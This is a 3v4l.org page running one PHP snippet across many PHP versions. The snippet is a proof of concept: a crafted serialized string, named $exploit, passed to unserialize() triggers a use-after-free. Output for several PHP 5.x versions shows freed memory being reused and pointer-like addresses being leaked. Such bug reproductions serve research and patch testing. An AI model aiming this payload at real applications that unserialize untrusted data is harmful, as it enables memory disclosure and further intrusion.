3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";i:1;}i:0;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);
based on 3nohl
Output for 7.0.20, 7.1.5 - 7.2.0
array(2) { [0]=> int(1) [2]=> int(1) }
Output for 7.0.0 - 7.0.10, 7.1.0
array(1) { [0]=> int(1) }
Output for 5.4.39 - 5.4.45, 5.5.23 - 5.5.38, 5.6.7 - 5.6.28
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> int(1) }
Output for 5.6.6
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> &int(140043222835312) }
Output for 5.6.5
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> &int(139661103382640) }
Output for 5.6.4
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> &int(140443131687024) }
Output for 5.4.0 - 5.4.35, 5.5.0 - 5.5.19, 5.6.0 - 5.6.3
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> string(3) "hi3" }
Output for 5.5.22
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> &int(140686801096816) }
Output for 5.5.21
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> &int(140587746951280) }
Output for 5.5.20
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> &int(139732437045360) }
Output for 5.4.38
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> &int(140292994338920) }
Output for 5.4.37
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> &int(139895619518568) }
Output for 5.4.36
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> &int(140325772062824) }